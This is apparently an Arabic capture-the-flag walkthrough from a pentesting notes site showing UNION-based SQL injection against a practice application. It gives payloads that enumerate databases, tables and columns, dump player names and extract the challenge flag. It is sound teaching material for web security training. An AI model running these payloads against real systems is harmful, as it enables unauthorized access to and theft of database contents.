> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-injection-pentesting-web.md).

# حقن SQLi Union

نعترض الطلب باستخدام Burp Suite ونعدّل المتغير `اللاعب`:

<figure><img src="/files/fe98a095ada3e0ea2740bd85d256d2a155a73aba" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -

```

اسم قاعدة البيانات هو `november`.

<figure><img src="/files/5556734b95b683a681badee59730f1d00ce1c940" alt=""><figcaption></figcaption></figure>

لسرد جميع قواعد البيانات:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -

```

النتيجة: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/7b11debf31845fc6b7505c4f8ade88d81055a368" alt=""><figcaption></figcaption></figure>

سرد جدول الـ `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -

```

<figure><img src="/files/00da0e4b16ba0e95f32587e8d64c0854069383ec" alt=""><figcaption></figcaption></figure>

سرد أعمدة الجدول `players`:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -

```

الأعمدة الموجودة: `اللاعب`

<figure><img src="/files/c4ddaa3899b180b9683f0d96d70d16ae6c74dcb0" alt=""><figcaption></figcaption></figure>

**استخراج بيانات المستخدم**

```sql
jordan' union select group_concat(player,':') from players-- -

```

اللاعبون الموجودون: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/dd8893a63a42053ff0104df94042d7a795f0fd8c" alt=""><figcaption></figcaption></figure>

استخراج الراية:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -

```

<figure><img src="/files/397a3cc3fea2cdc9df547a434a6930919104cf85" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -

```

<figure><img src="/files/b822c775092a08d5b5b21bca3b84d9d1789812df" alt=""><figcaption></figcaption></figure>

* العلم الموجود: `UHC{F1rst_5tep_2_Qualify}`


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